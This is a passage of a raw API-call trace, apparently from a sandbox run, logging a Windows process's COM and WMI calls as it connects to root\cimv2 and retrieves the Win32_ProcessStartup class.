[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fbdc8 | out: ppvObject=0x1b2fbdc8*=0x1169200) returned 0x0 [0056.321] WbemDefPath:IUnknown:Release (This=0x117f620) returned 0x0 [0056.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169200, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fbbd8 | out: ppvObject=0x1b2fbbd8*=0x1169200) returned 0x0 [0056.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169200, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fbc80 | out: ppvObject=0x1b2fbc80*=0x0) returned 0x80004002 [0056.321] WbemDefPath:IUnknown:AddRef (This=0x1169200) returned 0x3 [0056.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169200, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fb328 | out: ppvObject=0x1b2fb328*=0x0) returned 0x80004002 [0056.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169200, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fb2b0 | out: ppvObject=0x1b2fb2b0*=0x0) returned 0x80004002 [0056.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169200, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fb2a0 | out: ppvObject=0x1b2fb2a0*=0x117f560) returned 0x0 [0056.321] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x117f560, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fb2c8 | out: pCid=0x1b2fb2c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.321] WbemDefPath:IUnknown:Release (This=0x117f560) returned 0x3 [0056.321] CoGetContextToken (in: pToken=0x1b2fb350 | out: pToken=0x1b2fb350) returned 0x0 [0056.321] CoGetContextToken (in: pToken=0x1b2fb7d0 | out: pToken=0x1b2fb7d0) returned 0x0 [0056.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169200, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fb890 | out: ppvObject=0x1b2fb890*=0x0) returned 0x80004002 [0056.321] WbemDefPath:IUnknown:Release (This=0x1169200) returned 0x2 [0056.321] WbemDefPath:IUnknown:Release (This=0x1169200) returned 0x1 [0056.321] CoGetContextToken (in: pToken=0x1b2fc5f0 | out: pToken=0x1b2fc5f0) returned 0x0 [0056.321] CoGetContextToken (in: pToken=0x1b2fc4f0 | out: pToken=0x1b2fc4f0) returned 0x0 [0056.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169200, riid=0x1b2fc650*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fc620 | out: ppvObject=0x1b2fc620*=0x1169200) returned 0x0 [0056.322] WbemDefPath:IUnknown:AddRef (This=0x1169200) returned 0x3 [0056.322] WbemDefPath:IUnknown:Release (This=0x1169200) returned 0x2 [0056.322] WbemDefPath:IWbemPath:SetText (This=0x1169200, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0056.322] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0056.322] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0056.322] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.322] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0056.322] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0056.322] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0056.322] IUnknown:Release (This=0x111f638) returned 0x0 [0056.324] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11ade20) returned 0x0 [0056.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x11ade20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0056.324] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11ade20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x11692c0) returned 0x0 [0056.324] WbemDefPath:IUnknown:Release (This=0x11ade20) returned 0x0 [0056.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x11692c0) returned 0x0 [0056.324] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0056.325] WbemDefPath:IUnknown:AddRef (This=0x11692c0) returned 0x3 [0056.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0056.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0056.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11ade60) returned 0x0 [0056.325] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ade60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.325] WbemDefPath:IUnknown:Release (This=0x11ade60) returned 0x3 [0056.325] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0056.325] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0056.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0056.325] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x2 [0056.325] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x1 [0056.325] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0056.325] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0056.325] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x11692c0) returned 0x0 [0056.325] WbemDefPath:IUnknown:AddRef (This=0x11692c0) returned 0x3 [0056.325] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x2 [0056.325] WbemDefPath:IWbemPath:SetText (This=0x11692c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0056.325] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11692c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0056.325] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0056.325] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.326] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0056.326] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0056.326] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0056.326] IUnknown:Release (This=0x111f638) returned 0x0 [0056.326] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1b2fd338 | out: lpiid=0x1b2fd338) returned 0x0 [0056.327] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11adf60) returned 0x0 [0056.341] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0056.341] WbemLocator:IClassFactory:CreateInstance (in: This=0x11adf60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11adf80) returned 0x0 [0056.341] WbemLocator:IUnknown:Release (This=0x11adf60) returned 0x0 [0056.341] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11adf80) returned 0x0 [0056.341] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0056.341] WbemLocator:IUnknown:AddRef (This=0x11adf80) returned 0x3 [0056.341] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0056.342] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0056.342] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0056.342] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0056.342] CoGetObjectContext (in: riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x11b0768 | out: ppv=0x11b0768*=0x111f620) returned 0x0 [0056.343] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0056.343] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0056.343] WbemLocator:IUnknown:Release (This=0x11adf80) returned 0x2 [0056.343] WbemLocator:IUnknown:Release (This=0x11adf80) returned 0x1 [0056.344] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0056.344] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0056.344] WbemLocator:IUnknown:QueryInterface (in: This=0x11adf80, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11adf80) returned 0x0 [0056.344] WbemLocator:IUnknown:AddRef (This=0x11adf80) returned 0x3 [0056.344] WbemLocator:IUnknown:Release (This=0x11adf80) returned 0x2 [0056.352] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11692c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0056.352] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0056.352] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.354] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11adfa0) returned 0x0 [0056.354] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11adfa0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1130a60) returned 0x0 [0056.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1130a60, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11b4000) returned 0x0 [0056.691] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11b4000, pProxy=0x1130a60, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0056.691] WbemLocator:IUnknown:Release (This=0x11b4000) returned 0x1 [0056.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1130a60, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11b4040) returned 0x0 [0056.691] WbemLocator:IUnknown:QueryInterface (in: This=0x1130a60, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11b4000) returned 0x0 [0056.691] WbemLocator:IClientSecurity:SetBlanket (This=0x11b4000, pProxy=0x1130a60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0056.692] WbemLocator:IUnknown:Release (This=0x11b4000) returned 0x2 [0056.692] WbemLocator:IUnknown:Release (This=0x11b4040) returned 0x1 [0056.692] CoTaskMemFree (pv=0x11b07f0) [0056.692] WbemLocator:IUnknown:AddRef (This=0x1130a60) returned 0x2 [0056.692] WbemLocator:IUnknown:Release (This=0x11adfa0) returned 0x0 [0056.693] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0056.693] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0056.693] WbemLocator:IUnknown:QueryInterface (in: This=0x1130a60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11b4010) returned 0x0 [0056.693] WbemLocator:IRpcOptions:Query (in: This=0x11b4010, pPrx=0x11ae160, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0056.693] WbemLocator:IUnknown:Release (This=0x11b4010) returned 0x2 [0056.694] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0056.694] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0056.694] WbemLocator:IUnknown:QueryInterface (in: This=0x1130a60, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1130a60) returned 0x0 [0056.694] WbemLocator:IUnknown:Release (This=0x1130a60) returned 0x2 [0056.725] SysStringLen (param_1=0x0) returned 0x0 [0056.726] WbemDefPath:IWbemPath:GetText (in: This=0x1168fc0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0056.726] WbemDefPath:IWbemPath:GetText (in: This=0x1168fc0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0056.740] IWbemServices:GetObject (in: This=0x1130a60, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11b8f10, ppCallResult=0x0) returned 0x0 [0056.757] IWbemClassObject:Get (in: This=0x11b8f10, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0056.760] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0056.760] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0056.761] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0056.761] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0056.761] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0056.761] IUnknown:Release (This=0x111f638) returned 0x1 [0056.763] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11adfa0) returned 0x0 [0056.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x11adfa0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0056.764] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11adfa0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1169380) returned 0x0 [0056.764] WbemDefPath:IUnknown:Release (This=0x11adfa0) returned 0x0 [0056.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: 